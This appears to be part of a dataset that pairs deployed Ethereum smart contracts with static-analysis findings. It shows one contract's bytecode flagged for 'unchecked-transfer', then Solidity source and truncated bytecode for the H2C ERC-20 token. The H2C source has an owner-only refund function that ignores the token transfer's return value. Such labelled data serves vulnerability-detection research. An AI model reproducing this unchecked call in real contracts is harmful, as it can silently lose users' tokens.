0405180910390f35b610a056004803603606081101561093857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035906020019064010000000081111561097f57600080fd5b82018360208201111561099157600080fd5b803590602001918460018302840111640100000000831117156109b357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611cef565b005b610ac060048036036020811015610a1d57600080fd5b8101908080359060200190640100000000811115610a3a57600080fd5b820183602082011115610a4c57600080fd5b80359060200191846001830284011164010000000083111715610a6e57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611cf4565b005b610b2460048036036040811015610ad857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611dd6565b6040518082815260200191505060405180910390f35b610b42611e5d565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610bb060048036036020811015610b8457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611e83565b005b610bf460048036036020811015610bc857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fa6565b005b610c3860048036036020811015610c0c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612138565b005b610cf360048036036020811015610c5057600080fd5b8101908080359060200190640100000000811115610c6d57600080fd5b820183602082011115610c7f57600080fd5b80359060200191846001830284011164010000000083111715610ca157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f82011690508083019250505050505050919291929050505061225b565b005b610d3760048036036020811015610d0b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061233d565b60405180821515815260200191505060405180910390f35b606060078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610de75780601f10610dbc57610100808354040283529160200191610de7565b820191906000526020600020905b815481529060010190602001808311610dca57829003601f168201915b5050505050905090565b6000610e05610dfe61235d565b8484612365565b6001905092915050565b6000600654905090565b6000610e2684848461255c565b610ee784610e3261235d565b610ee285604051806060016040528060288152602001612f6a60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610e9861235d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128f39092919063ffffffff16565b612365565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b6000610fb2610f1661235d565b84610fad8560056000610f2761235d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129b390919063ffffffff16565b612365565b6001905092915050565b610fc461235d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611084576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600160149054906101000a900460ff1661109d57600080fd5b6000600160146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6110ee61235d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6111b88282612a3b565b5050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111fd61235d565b73ffffffffffffffffffffffffffffffffffffffff161461121d57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600160149054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6113c361235d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611483576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6114e661235d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115a6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600160149054906101000a900460ff16156115c057600080fd5b60018060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156116c45780601f10611699576101008083540402835291602001916116c4565b820191906000526020600020905b8154815290600101906020018083116116a757829003601f168201915b5050505050905090565b6116d661235d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611796576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561182757600080fd5b505af115801561183b573d6000803e3d6000fd5b505050506040513d602081101561185157600080fd5b8101908080519060200190929190505050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b61188f61235d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461194f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6119b261235d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a72576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b611a7c8282612c04565b5050565b6000611b43611a8d61235d565b84611b3e85604051806060016040528060258152602001612ffc6025913960056000611ab761235d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128f39092919063ffffffff16565b612365565b6001905092915050565b6000611b61611b5a61235d565b848461255c565b6001905092915050565b611b7361235d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c33576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060089080519060200190611c49929190612e19565b5050565b606060098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611ce55780601f10611cba57610100808354040283529160200191611ce5565b820191906000526020600020905b815481529060010190602001808311611cc857829003601f168201915b5050505050905090565b600080fd5b611cfc61235d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dbc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060079080519060200190611dd2929190612e19565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611e8b61235d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f4b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611fae61235d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461206e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156120f4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612efc6026913960400191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61214061235d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612200576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61226361235d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612323576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060099080519060200190612339929190612e19565b5050565b60036020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156123eb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612fd86024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612471576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612f226022913960400191505060405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600061256661235d565b9050600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806125cd5750600160149054906101000a900460ff16155b6125d657600080fd5b600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561262d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156126b3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612fb36025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612739576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612eb76023913960400191505060405180910390fd5b612744848484612dca565b6127b082604051806060016040528060268152602001612f4460269139600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128f39092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061284582600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129b390919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050565b60008383111582906129a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561296557808201518184015260208101905061294a565b50505050905090810190601f1680156129925780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015612a31576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612ade576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b612aea60008383612dca565b612aff816006546129b390919063ffffffff16565b600681905550612b5781600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129b390919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612c8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612f926021913960400191505060405180910390fd5b612c9682600083612dca565b612d0281604051806060016040528060228152602001612eda60229139600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128f39092919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d5a81600654612dcf90919063ffffffff16565b600681905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b505050565b6000612e1183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506128f3565b905092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612e5a57805160ff1916838001178555612e88565b82800160010185558215612e88579182015b82811115612e87578251825591602001919060010190612e6c565b5b509050612e959190612e99565b5090565b5b80821115612eb2576000816000905550600101612e9a565b509056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a206275726e20616d6f756e7420657863656564732062616c616e63654f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f6dba8016de59075832d3eb4cfa8f1a51098c906cc03004b7c15eec03583044364736f6c63430007030033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
10,090
0x49c8fd724747d6806437b070159fae5e3510c027
pragma solidity ^0.4.23; /* * Creator: H2C (Help2Crypto) */ /* * Abstract Token Smart Contract * */ /* * Safe Math Smart Contract. * https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * ERC-20 standard token interface, as defined * <a href="http://github.com/ethereum/EIPs/issues/20">here</a>. */ contract Token { function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * Abstract Token Smart Contract that could be used as a base contract for * ERC-20 token contracts. */ contract AbstractToken is Token, SafeMath { /** * Create new Abstract Token contract. */ function AbstractToken () { // Do nothing } /** * Get number of tokens currently belonging to given owner. * * @param _owner address to get number of tokens currently belonging to the * owner of * @return number of tokens currently belonging to the owner of given address */ function balanceOf(address _owner) constant returns (uint256 balance) { return accounts [_owner]; } /** * Transfer given number of tokens from message sender to given recipient. * * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transfer(address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (accounts [msg.sender] < _value) return false; if (_value > 0 && msg.sender != _to) { accounts [msg.sender] = safeSub (accounts [msg.sender], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer (msg.sender, _to, _value); return true; } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (allowances [_from][msg.sender] < _value) return false; if (accounts [_from] < _value) return false; if (_value > 0 && _from != _to) { allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value); accounts [_from] = safeSub (accounts [_from], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer(_from, _to, _value); return true; } /** * Allow given spender to transfer given number of tokens from message sender. * @param _spender address to allow the owner of to transfer tokens from message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { allowances [msg.sender][_spender] = _value; emit Approval (msg.sender, _spender, _value); return true; } /** * Tell how many tokens given spender is currently allowed to transfer from * given owner. * * @param _owner address to get number of tokens allowed to be transferred * from the owner of * @param _spender address to get number of tokens allowed to be transferred * by the owner of * @return number of tokens given spender is currently allowed to transfer * from given owner */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowances [_owner][_spender]; } /** * Mapping from addresses of token holders to the numbers of tokens belonging * to these token holders. */ mapping (address => uint256) accounts; /** * Mapping from addresses of token holders to the mapping of addresses of * spenders to the allowances set by these token holders to these spenders. */ mapping (address => mapping (address => uint256)) private allowances; } /** * Help2Crypto smart contract. */ contract H2CToken is AbstractToken { /** * Maximum allowed number of tokens in circulation. * tokenSupply = tokensIActuallyWant * (10 ^ decimals) */ uint256 constant MAX_TOKEN_COUNT = 218000000 * (10**8); /** * Address of the owner of this smart contract. */ address private owner; /** * Frozen account list holder */ mapping (address => bool) private frozenAccount; /** * Current number of tokens in circulation. */ uint256 tokenCount = 0; /** * True if tokens transfers are currently frozen, false otherwise. */ bool frozen = false; /** * Create new token smart contract and make msg.sender the * owner of this smart contract. */ function H2CToken () { owner = msg.sender; } /** * Get total number of tokens in circulation. * * @return total number of tokens in circulation */ function totalSupply() constant returns (uint256 supply) { return tokenCount; } string constant public name = "Help2Crypto"; string constant public symbol = "H2C"; uint8 constant public decimals = 8; /** * Transfer given number of tokens from message sender to given recipient. * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise */ function transfer(address _to, uint256 _value) returns (bool success) { require(!frozenAccount[msg.sender]); if (frozen) return false; else return AbstractToken.transfer (_to, _value); } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(!frozenAccount[_from]); if (frozen) return false; else return AbstractToken.transferFrom (_from, _to, _value); } /** * Change how many tokens given spender is allowed to transfer from message * spender. In order to prevent double spending of allowance, * To change the approve amount you first have to reduce the addresses` * allowance to zero by calling `approve(_spender, 0)` if it is not * already 0 to mitigate the race condition described here: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender address to allow the owner of to transfer tokens from * message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { require(allowance (msg.sender, _spender) == 0 || _value == 0); return AbstractToken.approve (_spender, _value); } /** * Create _value new tokens and give new created tokens to msg.sender. * May only be called by smart contract owner. * * @param _value number of tokens to create * @return true if tokens were created successfully, false otherwise */ function createTokens(uint256 _value) returns (bool success) { require (msg.sender == owner); if (_value > 0) { if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false; accounts [msg.sender] = safeAdd (accounts [msg.sender], _value); tokenCount = safeAdd (tokenCount, _value); // adding transfer event and _from address as null address emit Transfer(0x0, msg.sender, _value); return true; } return false; } /** * Set new owner for the smart contract. * May only be called by smart contract owner. * * @param _newOwner address of new owner of the smart contract */ function setOwner(address _newOwner) { require (msg.sender == owner); owner = _newOwner; } /** * Freeze ALL token transfers. * May only be called by smart contract owner. */ function freezeTransfers () { require (msg.sender == owner); if (!frozen) { frozen = true; emit Freeze (); } } /** * Unfreeze ALL token transfers. * May only be called by smart contract owner. */ function unfreezeTransfers () { require (msg.sender == owner); if (frozen) { frozen = false; emit Unfreeze (); } } /*A user is able to unintentionally send tokens to a contract * and if the contract is not prepared to refund them they will get stuck in the contract. * The same issue used to happen for Ether too but new Solidity versions added the payable modifier to * prevent unintended Ether transfers. However, there’s no such mechanism for token transfers. * so the below function is created */ function refundTokens(address _token, address _refund, uint256 _value) { require (msg.sender == owner); require(_token != address(this)); AbstractToken token = AbstractToken(_token); token.transfer(_refund, _value); emit RefundTokens(_token, _refund, _value); } /** * Freeze specific account * May only be called by smart contract owner. */ function freezeAccount(address _target, bool freeze) { require (msg.sender == owner); require (msg.sender != _target); frozenAccount[_target] = freeze; emit FrozenFunds(_target, freeze); } /** * Logged when token transfers were frozen. */ event Freeze (); /** * Logged when token transfers were unfrozen. */ event Unfreeze (); /** * Logged when a particular account is frozen. */ event FrozenFunds(address target, bool frozen); /** * when accidentally send other tokens are refunded */ event RefundTokens(address _token, address _refund, uint256 _value); }
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301502460146100e057806306fdde03146100f7578063095ea7b31461018757806313af4035146101ec57806318160ddd1461022f57806323b872dd1461025a578063313ce567146102df57806331c420d41461031057806370a08231146103275780637e1f2bb81461037e57806389519c50146103c357806395d89b4114610430578063a9059cbb146104c0578063dd62ed3e14610525578063e724529c1461059c575b600080fd5b3480156100ec57600080fd5b506100f56105eb565b005b34801561010357600080fd5b5061010c6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014c578082015181840152602081019050610131565b50505050905090810190601f1680156101795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019357600080fd5b506101d2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e0565b604051808215151515815260200191505060405180910390f35b3480156101f857600080fd5b5061022d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610716565b005b34801561023b57600080fd5b506102446107b6565b6040518082815260200191505060405180910390f35b34801561026657600080fd5b506102c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107c0565b604051808215151515815260200191505060405180910390f35b3480156102eb57600080fd5b506102f461084e565b604051808260ff1660ff16815260200191505060405180910390f35b34801561031c57600080fd5b50610325610853565b005b34801561033357600080fd5b50610368600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061090e565b6040518082815260200191505060405180910390f35b34801561038a57600080fd5b506103a960048036038101908080359060200190929190505050610956565b604051808215151515815260200191505060405180910390f35b3480156103cf57600080fd5b5061042e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610adf565b005b34801561043c57600080fd5b50610445610cff565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561048557808201518184015260208101905061046a565b50505050905090810190601f1680156104b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104cc57600080fd5b5061050b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d38565b604051808215151515815260200191505060405180910390f35b34801561053157600080fd5b50610586600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dc4565b6040518082815260200191505060405180910390f35b3480156105a857600080fd5b506105e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610e4b565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561064757600080fd5b600560009054906101000a900460ff1615156106a5576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600b81526020017f48656c703243727970746f00000000000000000000000000000000000000000081525081565b6000806106ed3385610dc4565b14806106f95750600082145b151561070457600080fd5b61070e8383610fac565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561077257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561081b57600080fd5b600560009054906101000a900460ff16156108395760009050610847565b61084484848461109e565b90505b9392505050565b600881565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108af57600080fd5b600560009054906101000a900460ff161561090c576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109b457600080fd5b6000821115610ad5576109d0664d72fc081a8000600454611484565